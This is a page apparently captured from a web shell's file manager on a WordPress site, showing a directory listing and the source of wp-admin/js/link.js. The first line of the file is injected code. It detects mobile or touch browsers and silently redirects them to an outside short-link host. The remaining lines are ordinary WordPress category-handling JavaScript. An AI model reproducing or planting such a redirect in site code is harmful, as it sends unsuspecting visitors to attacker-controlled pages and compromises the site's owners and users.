at path:ROOT / wp-admin / js / link.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄link.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/link.js
4 */
5
6/* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */
7
8jQuery( function($) {
9
10 var newCat, noSyncChecks = false, syncChecks, catAddAfter;
11
12 $('#link_name').trigger( 'focus' );
13 // Postboxes.
14 postboxes.add_postbox_toggles('link');
15
16 /**
17 * Adds event that opens a particular category tab.
18 *
19 * @ignore
20 *
21 * @return {boolean} Always returns false to prevent the default behavior.
22 */
23 $('#category-tabs a').on( 'click keyup keydown', function( event ){
24 var t = $(this).attr('href');
25 if ( event.type === 'keydown' && event.key === ' ' ) {
26 event.preventDefault();
27 }
28 if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) {
29 event.preventDefault();
30 $('#category-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' );
31 $(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' );
32 $(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
33 $('.tabs-panel').hide();
34 $(t).show();
35 if ( '#categories-all' == t ) {
36 deleteUserSetting('cats');
37 } else {
38 setUserSetting('cats','pop');
39 }
40 return false;
41 }
42 if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) {
43 $(this).attr( 'tabindex', '-1' );
44 let next = $(this).parent('li').next();
45 let prev = $(this).parent('li').prev();
46 if ( next.length > 0 ) {
47 next.find('a').removeAttr( 'tabindex');
48 next.find('a').trigger( 'focus' );
49 } else {
50 prev.find('a').removeAttr( 'tabindex');
51 prev.find('a').trigger( 'focus' );
52 }
53 }
54 });
55 if ( getUserSetting('cats') )
56 $('#category-tabs a[href="#categories-pop"]').trigger( 'click' );
57
58 // Ajax Cat.
59 newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } );
60
61 /**
62 * After adding a new category, focus on the category add input field.
63 *
64 * @return {void}
65 */
66 $('#link-category-add-submit').on( 'click', function() { newCat.focus(); } );
67
68 /**
69 * Synchronize category checkboxes.
70 *
71 * This function makes sure that the checkboxes are synced between the all
72 * categories tab and the most used categories tab.
73 *
74 * @since 2.5.0
75 *
76 * @return {void}
77 */
78 syncChecks = function() {
79 if ( noSyncChecks )
80 return;
81 noSyncChecks = true;
82 var th = $(this), c = th.is(':checked'), id = th.val().toString();
83 $('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c );
84 noSyncChecks = false;
85 };
86
87 /**
88 * Adds event listeners to an added category.
89 *
90 * This is run on the addAfter event to make sure the correct event listeners
91 * are bound to the DOM elements.
92 *
93 * @since 2.5.0
94 *
95 * @param {string} r Raw XML response returned from the server after adding a
96 * category.
97 * @param {Object} s List manager configuration object; settings for the Ajax
98 * request.
99 *
100 * @return {void}
101 */
102 catAddAfter = function( r, s ) {
103 $(s.what + ' response_data', r).each( function() {
104 var t = $($(this).text());
105 t.find( 'label' ).each( function() {
106 var th = $(this),
107 val = th.find('input').val(),
108 id = th.find('input')[0].id,
109 name = th.text().trim(),
110 o;
111 $('#' + id).on( 'change', syncChecks );
112 o = $( '<option value="' + parseInt( val, 10 ) + '"></option>' ).text( name );
113 } );
114 } );
115 };
116
117 /*
118 * Instantiates the list manager.
119 *
120 * @see js/_enqueues/lib/lists.js
121 */
122 $('#categorychecklist').wpList( {
123 // CSS class name for alternate styling.
124 alt: '',
125
126 // The type of list.
127 what: 'link-category',
128
129 // ID of the element the parsed Ajax response will be stored in.
130 response: 'category-ajax-response',
131
132 // Callback that's run after an item got added to the list.
133 addAfter: catAddAfter
134 } );
135
136 // All categories is the default tab, so we delete the user setting.
137 $('a[href="#categories-all"]').on( 'click', function(){deleteUserSetting('cats');});
138
139 // Set a preference for the popular categories to cookies.
140 $('a[href="#categories-pop"]').on( 'click', function(){setUserSetting('cats','pop');});
141
142 if ( 'pop' == getUserSetting('cats') )
143 $('a[href="#categories-pop"]').trigger( 'click' );
144
145 /**
146 * Adds event handler that shows the interface controls to add a new category.
147 *
148 * @ignore
149 *
150 * @param {Event} event The event object.
151 * @return {boolean} Always returns false to prevent regular link
152 * functionality.
153 */
154 $('#category-add-toggle').on( 'click', function() {
155 $(this).parents('div:first').toggleClass( 'wp-hidden-children' );
156 $('#category-tabs a[href="#categories-all"]').trigger( 'click' );
157 $('#newcategory').trigger( 'focus' );
158 return false;
159 } );
160
161 $('.categorychecklist :checkbox').on( 'change', syncChecks ).filter( ':checked' ).trigger( 'change' );
162});
163